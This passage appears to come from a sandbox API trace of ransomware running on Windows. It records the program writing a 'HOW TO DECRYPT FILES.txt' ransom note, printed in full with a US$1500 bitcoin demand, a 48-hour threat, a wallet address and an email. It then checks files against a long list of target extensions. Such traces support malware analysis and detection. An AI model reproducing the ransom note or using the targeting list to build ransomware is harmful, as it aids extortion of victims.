Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\" [0064.675] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\") returned="" [0064.675] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\HOW TO DECRYPT FILES.txt" [0064.675] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\springgreen\\how to decrypt files.txt")) returned 0xffffffff [0064.675] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\springgreen\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa0 [0064.676] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0064.676] WriteFile (in: hFile=0xa0, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0064.677] SetFileTime (hFile=0xa0, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0064.677] CloseHandle (hObject=0xa0) returned 1 [0064.677] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\", lpString2="BUTTON.GIF" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF" [0064.678] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.ems") returned 0 [0064.678] lstrlenA (lpString="*.ems") returned 5 [0064.678] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.db") returned 0 [0064.678] lstrlenA (lpString="*.db") returned 4 [0064.678] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.dbf") returned 0 [0064.678] lstrlenA (lpString="*.dbf") returned 5 [0064.678] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.myox") returned 0 [0064.678] lstrlenA (lpString="*.myox") returned 6 [0064.678] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.myo") returned 0 [0064.678] lstrlenA (lpString="*.myo") returned 5 [0064.678] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.qbw") returned 0 [0064.678] lstrlenA (lpString="*.qbw") returned 5 [0064.678] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.qbb") returned 0 [0064.678] lstrlenA (lpString="*.qbb") returned 5 [0064.678] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.qbm") returned 0 [0064.678] lstrlenA (lpString="*.qbm") returned 5 [0064.678] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.qbo") returned 0 [0064.678] lstrlenA (lpString="*.qbo") returned 5 [0064.678] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.qbx") returned 0 [0064.678] lstrlenA (lpString="*.qbx") returned 5 [0064.679] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.qba") returned 0 [0064.679] lstrlenA (lpString="*.qba") returned 5 [0064.679] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.qby") returned 0 [0064.679] lstrlenA (lpString="*.qby") returned 5 [0064.679] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.qbj") returned 0 [0064.679] lstrlenA (lpString="*.qbj") returned 5 [0064.679] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.ofx") returned 0 [0064.679] lstrlenA (lpString="*.ofx") returned 5 [0064.679] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.qif") returned 0 [0064.679] lstrlenA (lpString="*.qif") returned 5 [0064.679] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.mye") returned 0 [0064.679] lstrlenA (lpString="*.mye") returned 5 [0064.679] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.mbox") returned 0 [0064.679] lstrlenA (lpString="*.mbox") returned 6 [0064.679] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.eml") returned 0 [0064.679] lstrlenA (lpString="*.eml") returned 5 [0064.679] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.pst") returned 0 [0064.679] lstrlenA (lpString="*.pst") returned 5 [0064.679] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.ost") returned 0 [0064.679] lstrlenA (lpString="*.ost") returned 5 [0064.679] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.idx") returned 0 [0064.679] lstrlenA (lpString="*.idx") returned 5 [0064.679] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.dbx") returned 0 [0064.680] lstrlenA (lpString="*.dbx") returned 5 [0064.680] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.sql") returned 0 [0064.680] lstrlenA (lpString="*.sql") returned 5 [0064.680] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.mdb") returned 0 [0064.680] lstrlenA (lpString="*.mdb") returned 5 [0064.680] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.fdb") returned 0 [0064.680] lstrlenA (lpString="*.fdb") returned 5 [0064.680] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.wab") returned 0 [0064.680] lstrlenA (lpString="*.wab") returned 5 [0064.680] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.dat") returned 0 [0064.680] lstrlenA (lpString="*.dat") returned 5 [0064.680] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.txt") returned 0 [0064.680] lstrlenA (lpString="*.txt") returned 5 [0064.680] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.jpeg") returned 0 [0064.680] lstrlenA (lpString="*.jpeg") returned 6 [0064.680] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.jpg") returned 0 [0064.680] lstrlenA (lpString="*.jpg") returned 5 [0064.680] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.png") returned 0 [0064.680] lstrlenA (lpString="*.png") returned 5 [0064.680] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.php") returned 0 [0064.680] lstrlenA (lpString="*.php") returned 5 [0064.680] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.cs") returned 0 [0064.680] lstrlenA (lpString="*.cs") returned 4 [0064.681] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.cpp") returned 0 [0064.681] lstrlenA (lpString="*.cpp") returned 5 [0064.681] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.rar") returned 0 [0064.681] lstrlenA (lpString="*.rar") returned 5 [0064.681] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.zip") returned 0 [0064.681] lstrlenA (lpString="*.zip") returned 5 [0064.681] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.html") returned 0 [0064.681] lstrlenA (lpString="*.html") returned 6 [0064.681] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.htm") returned 0 [0064.681] lstrlenA (lpString="*.htm") returned 5 [0064.681] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.xlsx") returned 0 [0064.681] lstrlenA (lpString="*.xlsx") returned 6 [0064.681] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.xls") returned 0 [0064.681] lstrlenA (lpString="*.xls") returned 5 [0064.681] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.mp4") returned 0 [0064.681] lstrlenA (lpString="*.mp4") returned 5 [0064.681] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.ppt") returned 0 [0064.681] lstrlenA (lpString="*.ppt") returned 5 [0064.681] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.pptx") returned 0 [0064.681] lstrlenA (lpString="*.pptx") returned 6 [0064.681] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.doc") returned 0 [0064.681] lstrlenA (lpString="*.doc") returned 5 [0064.681] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.dot") returned 0 [0064.681] lstrlenA (lpString="*.dot") returned 5 [0064.682] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.docx") returned 0 [0064.682] lstrlenA (lpString="*.docx") returned 6 [0064.682] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.7z") returned 0 [0064.682] lstrlenA (lpString="*.7z") returned 4 [0064.682] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.tar") returned 0 [0064.682] lstrlenA (lpString="*.tar") returned 5 [0064.682] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.bz2") returned 0 [0064.682] lstrlenA (lpString="*.bz2") returned 5 [0064.682] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.gz") returned 0 [0064.682] lstrlenA (lpString="*.gz") returned 4 [0064.682] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.mkv") returned 0 [0064.682] lstrlenA (lpString="*.mkv") returned 5 [0064.682] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.eml") returned 0 [0064.682] lstrlenA (lpString="*.eml") returned 5 [0064.682] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.msg") returned 0 [0064.682] lstrlenA (lpString="*.msg") returned 5 [0064.682] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.edb") returned 0 [0064.682] lstrlenA (lpString="*.edb") returned 5 [0064.682] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.accdb") returned 0 [0064.682] lstrlenA (lpString="*.accdb") returned 7 [0064.682] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.odb") returned 0 [0064.682] lstrlenA (lpString="*.odb") returned 5 [0064.682] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.java") returned 0 [0064.683] lstrlenA (lpString="*.java") returned 6 [0064.683] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.asm") returned 0 [0064.683] lstrlenA (lpString="*.asm") returned 5 [0064.683] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.pfx") returned 0 [0064.683] lstrlenA (lpString="*.pfx") returned 5 [0064.683] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.pem") returned 0 [0064.683] lstrlenA (lpString="*.pem") returned 5 [0064.683] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.p12") returned 0 [0064.683] lstrlenA (lpString="*.p12") returned 5 [0064.683] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.gpg") returned 0 [0064.683] lstrlenA (lpString="*.gpg") returned 5 [0064.683] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.vsd") returned 0 [0064.683] lstrlenA (lpString="*.vsd") returned 5 [0064.683] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.odg") returned 0 [0064.683] lstrlenA (lpString="*.odg") returned 5 [0064.683] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.raw") returned 0 [0064.683] lstrlenA (lpString="*.raw") returned 5 [0064.683] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.nef") returned 0 [0064.683] lstrlenA (lpString="*.nef") returned 5 [0064.683] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.svg") returned 0 [0064.683] lstrlenA (lpString="*.svg") returned 5 [0064.683] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.psd") returned 0 [0064.684] lstrlenA (lpString="*.psd") returned 5 [0064.684] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.vmx") returned 0 [0064.684] lstrlenA (lpString="*.vmx") returned 5 [0064.684] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.vmdk") returned 0 [0064.684] lstrlenA (lpString="*.vmdk") returned 6 [0064.684] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.vdi") returned 0 [0064.684] lstrlenA (lpString="*.vdi") returned 5 [0064.684] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.lay6") returned 0 [0064.684] lstrlenA (lpString="*.lay6") returned 6 [0064.684] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.mpeg") returned 0 [0064.684] lstrlenA (lpString="*.mpeg") returned 6 [0064.684] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.djvu") returned 0 [0064.684] lstrlenA (lpString="*.djvu") returned 6 [0064.684] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.tiff") returned 0 [0064.684] lstrlenA (lpString="*.tiff") returned 6 [0064.684] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.backup") returned 0 [0064.684] lstrlenA (lpString="*.backup") returned 8 [0064.684] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.pdf") returned 0 [0064.684] lstrlenA (lpString="*.pdf") returned 5 [0064.684] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.cert") returned 0 [0064.684] lstrlenA (lpString="*.cert") returned 6 [0064.684] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.docm") returned 0 [0064.684] lstrlenA (lpString="*.docm") returned 6 [0064.685] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.xlsm") returned 0 [0064.685] lstrlenA (lpString="*.xlsm") returned 6 [0064.685] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.dwg") returned 0 [0064.685] lstrlenA (lpString="*.dwg") returned 5 [0064.685] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.nd") returned 0 [0064.685] lstrlenA (lpString="*.nd") returned 4 [0064.685] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.tlg") returned 0 [0064.685] lstrlenA (lpString="*.tlg") returned 5 [0064.685] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.lgb") returned 0 [0064.685] lstrlenA (lpString="*.lgb") returned 5 [0064.685] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.mov") returned 0 [0064.685] lstrlenA (lpString="*.mov") returned 5 [0064.685] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.xdw") returned 0 [0064.685] lstrlenA (lpString="*.xdw") returned 5 [0064.685] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.ods") returned 0 [0064.685] lstrlenA (lpString="*.ods") returned 5 [0064.685] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.wav") returned 0 [0064.685] lstrlenA (lpString="*.wav") returned 5 [0064.685] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.mp3") returned 0 [0064.685] lstrlenA (lpString="*.mp3") returned 5 [0064.685] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.aiff") returned 0 [0064.685] lstrlenA (lpString="*.aiff") returned 6 [0064.685] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.flac") returned 0 [0064.685] lstrlenA (lpString="*.flac") returned 6 [0064.685] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.m4a") returned 0 [0064.685] lstrlenA (lpString="*.m4a") returned 5 [0064.686] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", pszSpec="*.csv") returned 0 [0064.686] lstrlenA (lpString="*.csv") returned 5 [0064.686] PeekMessageA (in: lpMsg=0x18f244, hWnd=0x0, 